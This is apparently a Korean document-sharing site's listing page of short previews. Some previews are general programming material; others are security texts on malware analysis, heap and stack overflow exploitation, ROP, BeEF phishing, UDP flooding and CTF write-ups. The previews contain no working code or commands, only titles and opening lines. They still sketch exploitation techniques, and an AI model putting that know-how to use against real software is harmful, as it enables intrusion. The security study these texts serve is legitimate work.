C# Programming Guide - Types

C# Programming Guide - Types C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

UDP Flooding Attack 공격과 방어

UDP Flooding Attack 공격과 방어 황 교 국 (fullc0de@gmail.com) SK Infosec Co., Inc MSS Biz. Security Center Table of Contents 1. 소개...3 2. 공격 관련 Protocols Overview...3 2.1. UDP Protocol...3 2.2. ICMP Protocol...4 3. UDP Flood Test Environment...5

More information

The_IDA_Pro_Book

The_IDA_Pro_Book The IDA Pro Book Hacking Group OVERTIME force (forceteam01@gmail.com) GETTING STARTED WITH IDA IDA New : Go : IDA Previous : IDA File File -> Open Processor type : Loading Segment and Loading Offset x86

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

Heap Overflow By WraithOfGhost

Heap Overflow By WraithOfGhost Heap Overflow - 101 By WraithOfGhost 이전스택오버플로우문서에서예외처리핸들러 (Exception Handler) 를호출하거나직접적인방법을 EIP 레지스터를제어하는방법을보여주었다. 본문서는 EIP / SEH를직접이용하지않고프로그램의실행흐름을제어하는일련의방법들에대하여다룰예정이다. 공격자가정한값을원하는메모리주소에덮어씀으로써임의의 DWORD

More information

서현수

서현수 Introduction to TIZEN SDK UI Builder S-Core 서현수 2015.10.28 CONTENTS TIZEN APP 이란? TIZEN SDK UI Builder 소개 TIZEN APP 개발방법 UI Builder 기능 UI Builder 사용방법 실전, TIZEN APP 개발시작하기 마침 TIZEN APP? TIZEN APP 이란? Mobile,

More information

공지사항

공지사항 상명사이버캠퍼스 군이러닝 강좌 학습안내 1. 사이버캠퍼스 접속방법 브라우저 주소창에서 직접 http://cyber.smu.ac.kr 입력하여 접속합니다. : 추천 2. 개설강좌 및 수업 안내 가. 개설과목 : 컴퓨터와정보사회(군인) 나. 수업시작 : 2015. 9.1(화) 10:00 이후부터 다. 평가방법 1) 중간, 기말고사는 off-line

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 (Host) set up : Linux Backend RS-232, Ethernet, parallel(jtag) Host terminal Target terminal : monitor (Minicom) JTAG Cross compiler Boot loader Pentium Redhat 9.0 Serial port Serial cross cable Ethernet

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

BEef 사용법.pages

BEef 사용법.pages 1.... 3 2.... 3 (1)... 3 (2)... 5 3. BeEF... 7 (1) BeEF... 7 (2)... 8 (3) (Google Phishing)... 10 4. ( )... 13 (1)... 14 (2) Social Engineering... 17 (3)... 19 (4)... 21 5.... 22 (1)... 22 (2)... 27 (3)

More information

Evernote Export

Evernote Export Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

T100MD+

T100MD+ User s Manual 100% ) ( x b a a + 1 RX+ TX+ DTR GND TX+ RX+ DTR GND RX+ TX+ DTR GND DSR RX+ TX+ DTR GND DSR [ DCE TYPE ] [ DCE TYPE ] RS232 Format Baud 1 T100MD+

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft Word - FS_ZigBee_Manual_V1.3.docx FirmSYS Zigbee etworks Kit User Manual FS-ZK500 Rev. 2008/05 Page 1 of 26 Version 1.3 목 차 1. 제품구성... 3 2. 개요... 4 3. 네트워크 설명... 5 4. 호스트/노드 설명... 6 네트워크 구성... 6 5. 모바일 태그 설명... 8 6. 프로토콜 설명... 9 프로토콜 목록...

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

FMX M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2

FMX M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2 FMX FMX 20062 () wwwexellencom sales@exellencom () 1 FMX 1 11 5M JPG 15MB 320x240 30fps, 160Kbps 11MB View operation,, seek seek Random Access Average Read Sequential Read 12 FMX () 2 FMX FMX D E (one

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어 개나리 연구소 C 언어 노트 (tyback.egloos.com) 프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어먹고 하더라구요. 그래서,

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리... 2 2. 공격 기법 및 기본 개념... 3 2.1. Heap Spray... 3 2.2. Font... 4 3. 공 격..

목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리... 2 2. 공격 기법 및 기본 개념... 3 2.1. Heap Spray... 3 2.2. Font... 4 3. 공 격.. 취약점 분석 보고서 [ Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow - CVE-2012-1535 ] 2012-08-23 RedAlert Team 안상환 목 차 1. 개 요... 1 1.1. 배경... 1 1.2. 요약... 1 1.3. 정보... 2 1.4. 대상시스템... 2 1.5. 원리...

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

Chapter ...

Chapter ... Chapter 4 프로세서 (4.9절, 4.12절, 4.13절) Contents 4.1 소개 4.2 논리 설계 기초 4.3 데이터패스 설계 4.4 단순한 구현 방법 4.5 파이프라이닝 개요*** 4.6 파이프라이닝 데이터패스 및 제어*** 4.7 데이터 해저드: 포워딩 vs. 스톨링*** 4.8 제어 해저드*** 4.9 예외 처리*** 4.10 명령어 수준

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information